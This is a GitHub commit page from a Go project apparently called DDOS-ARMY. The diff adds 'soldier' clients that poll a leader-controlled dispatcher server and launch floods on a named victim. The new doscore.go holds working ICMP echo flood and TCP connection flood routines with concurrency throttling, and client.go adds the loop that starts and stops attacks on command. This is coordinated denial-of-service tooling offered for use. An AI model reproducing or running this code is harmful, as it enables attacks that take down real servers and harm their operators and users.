Skip to content

Commit

Permalink
implement SYN ICMP flood
Browse files Browse the repository at this point in the history
  • Loading branch information
MahdiAw committed Apr 10, 2023
1 parent 198efad commit 29e9a82
Show file tree
Hide file tree
Showing 4 changed files with 181 additions and 15 deletions.
1 change: 1 addition & 0 deletions client/api.go
Expand Up @@ -6,6 +6,7 @@ type LeaderAPI struct {

type SoldierAPI struct {
Name string `json:"name"`
Ip string `json:"ip"`
}

type CampSettings struct {
Expand Down
59 changes: 44 additions & 15 deletions client/client.go
Expand Up @@ -4,7 +4,9 @@ import (
"bytes"
"encoding/json"
"errors"
"fmt"
"net/http"
"time"
)

type Leader struct {
Expand All @@ -14,59 +16,63 @@ type Leader struct {

type Client struct {
http.Client `json:"-"`
Name string `name:"name"`
Name string `json:"name"`
DispatcherServer string `json:"-"`
}

func (c *Client) GetCamp() (CampAPI, error) {
func (c *Client) GetCamp() CampAPI {
//get request to dispatcher server /camp

rq, err := http.NewRequest("GET", c.DispatcherServer+"/camp", nil)
if err != nil {
return CampAPI{}, err
return CampAPI{}
}
do, err := c.Do(rq)
defer do.Body.Close()

if err != nil {
var msg string
_ = json.NewDecoder(do.Body).Decode(&msg)
return CampAPI{}, errors.New(msg)
return CampAPI{}
}
var camp CampAPI
err = json.NewDecoder(do.Body).Decode(&camp)
if err != nil {
return CampAPI{}, err
return CampAPI{}
}
return camp, nil
return camp
}

func (c *Client) JoinCamp() error {
//post request to dispatcher server /camp/
//with body {name: c.Name}
rq, err := http.NewRequest("POST", c.DispatcherServer+"/camp/", nil)
jr, err := json.Marshal(c)
if err != nil {
return err
}
rq, err := http.NewRequest("POST", c.DispatcherServer+"/camp", bytes.NewReader(jr))

if err != nil {
return err
}
do, err := c.Do(rq)
defer do.Body.Close()

if err != nil {
return err
}
if do.StatusCode == http.StatusOK {
return nil
} else {
//return the body as error message
var msg string
_ = json.NewDecoder(do.Body).Decode(&msg)
return errors.New(msg)
}
fmt.Println(do.StatusCode)
var msg string
_ = json.NewDecoder(do.Body).Decode(&msg)
return errors.New(msg)
}

func (c *Leader) RemoveFromCamp(password string) error {
//delete request to dispatcher server /camp/
//with body {name: c.Name}
rq, err := http.NewRequest("DELETE", c.DispatcherServer+"/camp/", nil)
rq, err := http.NewRequest("DELETE", c.DispatcherServer+"/camp", nil)
rq.Header.Add("Authorization", password)

if err != nil {
Expand Down Expand Up @@ -95,7 +101,7 @@ func (c *Leader) UpdateCampSettings(settings CampSettings, password string) erro
return err
}

rq, err := http.NewRequest("PUT", c.DispatcherServer+"/camp/", bytes.NewReader(jr))
rq, err := http.NewRequest("PUT", c.DispatcherServer+"/camp", bytes.NewReader(jr))
if err != nil {
return err
}
Expand All @@ -114,3 +120,26 @@ func (c *Leader) UpdateCampSettings(settings CampSettings, password string) erro
return errors.New(msg)
}
}

func (c *Client) ListenAndDo() {
cmp := c.GetCamp()
prevStatus := cmp.Settings.Status
stopchan := make(chan bool, 1)

for {
cmp = c.GetCamp()
if prevStatus != cmp.Settings.Status {
DisplayCampInfo(cmp)

if cmp.Settings.Status == "attacking" {
go StartAttack(cmp.Settings.VictimServer, cmp.Settings.DDOSType, stopchan)
}
if cmp.Settings.Status == "stopped" {
fmt.Println("Stopping attack")
stopchan <- true
}
prevStatus = cmp.Settings.Status
time.Sleep(2 * time.Second)
}
}
}
125 changes: 125 additions & 0 deletions client/doscore.go
@@ -0,0 +1,125 @@
package client

import (
"fmt"
"github.com/fatih/color"
"golang.org/x/net/icmp"
"golang.org/x/net/ipv4"
"net"
"os"
"strings"
"time"
)

func StartAttack(victim string, ddosType string, stopchan chan bool) {
if ddosType == "ICMP" {
//ip without port
ip := strings.Split(victim, ":")[0]
go ICMPFlood(ip, stopchan)
} else if ddosType == "SYN" {
go SYNFlood(victim, stopchan)
} else if ddosType == "ACK" {
go ACKFlood(victim)
}
}
func ICMPFlood(victim string, stopChan chan bool) {
var maxChannelsNb = 20
var channels = make(chan struct{}, maxChannelsNb)

var blocked = false
ipAddr, err := net.ResolveIPAddr("ip4", victim)
// open a connection to the server
conn, err := net.DialIP("ip4:icmp", nil, ipAddr)
if err != nil {
color.Red("Error Dialing : %s", err)
return
}
defer conn.Close()

for {
channels <- struct{}{}
select {
case <-stopChan:
<-stopChan
return

default:
if !blocked {
go func() {
err := SendICMP(ipAddr.String(), CreateICMPMessage(), conn)
if err != nil {
if strings.Contains(err.Error(), "no buffer space") {
//block sending
blocked = true
//wait for 1 second
time.Sleep(1 * time.Second)
blocked = false
}
}
<-channels
}()
}
}
}
}
func CreateICMPMessage() *icmp.Message {
return &icmp.Message{
Type: ipv4.ICMPTypeEcho,
Code: 0,
Body: &icmp.Echo{
ID: os.Getpid() & 0xffff,
Seq: 1,
Data: []byte("hello"),
},
}
}

func SendICMP(ip string, message *icmp.Message, conn *net.IPConn) error {
// Resolve the IP address of the target host

messageBytes, err := message.Marshal(nil)
if err != nil {
return err
}

_, err = conn.Write(messageBytes)
//check if error message is : no buffer space available

if err != nil {
return err
}

return nil
}

func SYNFlood(victim string, stop chan bool) {
var maxChannelsNb = 20
var channels = make(chan struct{}, maxChannelsNb)
for {
channels <- struct{}{}
select {
case <-stop:
<-stop
return
default:
go func() {
conn, err := net.Dial("tcp", victim)

if err == nil {
err := conn.Close()
if err != nil {
return
}
}
if err != nil {
fmt.Println("Error:", err)
}
<-channels
}()
}
}
}

func ACKFlood(server string) {
//SOON
}
11 changes: 11 additions & 0 deletions go.mod
@@ -1,3 +1,14 @@
module github.com/XORbit01/DDOS-ARMY

go 1.19

require (
github.com/fatih/color v1.15.0
golang.org/x/net v0.9.0
)

require (
github.com/mattn/go-colorable v0.1.13 // indirect
github.com/mattn/go-isatty v0.0.17 // indirect
golang.org/x/sys v0.7.0 // indirect
)

0 comments on commit 29e9a82

Please sign in to comment.